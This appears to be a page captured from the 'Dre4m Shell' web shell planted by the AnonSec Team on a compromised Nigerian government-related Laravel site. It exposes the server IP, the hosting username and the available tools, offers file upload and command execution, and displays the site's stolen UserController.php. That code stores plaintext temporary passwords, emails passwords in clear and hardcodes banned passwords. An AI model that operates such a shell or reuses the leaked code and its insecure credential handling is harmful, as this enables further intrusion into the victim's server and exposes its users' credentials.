ÿØÿàJFIFÿáExifMM*ÿÛC  Dre4m Was Here
Dre4m Shell
Server IP : 199.250.214.225  /  Your IP : 3.136.22.192
Web Server : Apache
System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64
User : nicngo5 ( 1001)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/Auth/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/app/Http/Controllers/Auth/UserController.php
<?php

namespace App\Http\Controllers\Auth;

use Illuminate\Http\Request;
use App\Models\User;
use DB;
use Session;
use Auth;
use App\Http\Requests;
use App\Http\Controllers\Controller;
use App\Http\Controllers\ParentController;
use Illuminate\Support\Facades\Hash;

class UserController extends ParentController
{
   	public function registerUser()
   	{
   		$data['divisions'] = DB::select('select * from tbldivision');
   		$data['roles'] = DB::select('select * from user_role');
   		return view('auth.register', $data);
   	}
   	public function storeUser(Request $request)
   	{
   		
   		$this->validate($request, [
			//'fullName'      	=> 'required|regex:/^[\pL\s\-]+$/u',
			//'userName'      	=> 'required|regex:/^[\pL\s\-]+$/u',
			'email_address'      	=> 'required|unique:users',
			'userName'              => 'required|unique:users',
			'role_id'		=> 'required|numeric',
			//'password'		=> 'required|numeric',
			'password'		=> 'required',
			]);

		$user = new User;
		//$password = str_random(8).rand(9003, 86479);	
		 $password = $request['password'] ;
		//$user->name = trim( $request['fullName']);
   		$user->name = trim( $request['first_name'] ).' '.trim($request['last_name']);
   		$user->username = trim( $request['userName']);
		$user->password   = bcrypt(trim($password));
		$user->email_address = trim( $request['email_address'] );
		$user->email = trim( $request['email_address'] );
		$user->user_type = 'NONTECHNICAL';
		$user->temp_pass = $password;
		
		
		$user->first_login = 1;
		   
		$user->save();
		   
		//user id 
		$user_id = User::latest()->first()->id;

		//save the role
		DB::table('assign_user_role')->insert([
			'userID'=> $user_id ,
			'roleID'=> $request['role_id'],
			'created_at'=> date('Y-m-d')
		]);
		//send a mail 
		$this->mail_details( $user->email_address , $user->username , $password,  $user->name );
		$this->addLog('New user added');
		return back()->with('msg', 'New user added successfully!');
		
   	}
   	
   	
	
   	public function editAccount()
   	{
   		$data['userrole']='My role';
   		return view('auth.editAccount',$data);
   	}
   	public function editAccountStore(Request $request)
   	{
   		$this->validate($request, [
   			//'fullName'      	   	=> 'required|regex:/^[\pL\s\-]+$/u',
   			'userName'      	   	=> 'required|alpha_dash',
		]);
		
		if($request->password != ''){
		    $this->validate($request, [
   			    'password'			   	=> 'required|confirmed|min:5',
   			    'password_confirmation'	=> 'required'
			]);
			
			$userID = Auth::user()->id;
   		    User::where('id', $userID)->update([
                'name'        => $request->fullName, 
                'password'    => bcrypt($request->password),
                'first_login' => (1)
            ]);
		}else{
		    $userID = Auth::user()->id;
       		User::where('id', $userID)->update([
                'name'        => $request->fullName, 
            ]);
		}
		
   		
         
         Session::forget('firstLogin');
         Session::put('firstLogin', 1);
   		$this->addLog('Your password was updated successfully');
		   return redirect('/')->with('msg', 'Your password was updated successfully!');
   	}
   	
   	public function mail_details( $email, $username, $pwd, $full_name){

		$to = $email;
		$subject="Account Creation Successful!";
	
		$header = "From: JIPPIS PORTAL "."<info@mbrcomputers.net>"."\r\n";
        $header .= "MIME-Version: 1.0 \r\n";
        $header .= "Content-type: text/html \r\n";
	$message="Dear $full_name, <br> Your Login profile for JIPPIS has been created. <br> your login details is as follow: <br> User Name: 	       $username <br> Password: $pwd <br> Kindly Change your password after login.<br>";	
	
		$retval = mail($email,$subject,$message,$header);
		
		//dd($retval);
	

	}
	public function update()
	{
	    return view('auth.updatePassword');
	}
	
	public function updatePassword(Request $request)
   	{
   		$this->validate($request, [
			'fullName'      	   	=> 'required|regex:/^[\pL\s\-]+$/u',
			'userName'      	   	=> 'required|alpha_dash',
			'password'			   	=> 'required|confirmed|min:5',
			'password_confirmation'	=> 'required'
			]);
			
		 $username = Auth::user()->username;
         $pass = $request['password'];
         $encryptedPass  = bcrypt($request['password']);
         
         $verify = DB::table('users')
         ->where('username', $username)
         ->where('password','=', $encryptedPass)->count();
         $dbpass =  DB::table('users')
         ->where('username', $username)->first();
         
         //$existingPass = $verify->password;
         if($pass =="123454" || $pass =="welcome987")
         {
            return redirect('/update/password')->with('msgReset', 'Password can not be 12345 or welcome987. Please, choose another Password');
         }
         
         elseif(Hash::check($pass, $dbpass->password)) {
           return redirect('/update/password')->with('msgReset', 'You cannot use your previous password. Please, choose another Password');
           }
        
         else
         {
         $date = date('Y-m-d');
   		$username = Auth::user()->username;
   		User::where('username', $username)->update(['name' => $request->fullName, 'password' => bcrypt($request->password),'lastPasswordUpdate'=>$date]);
   		$this->addLog('Account details successfully edited and saved');
		return back()->with('msgSuccess', 'Account updated successfully!');
        }
   	}
   	
}

Anon7 - 2022
AnonSec Team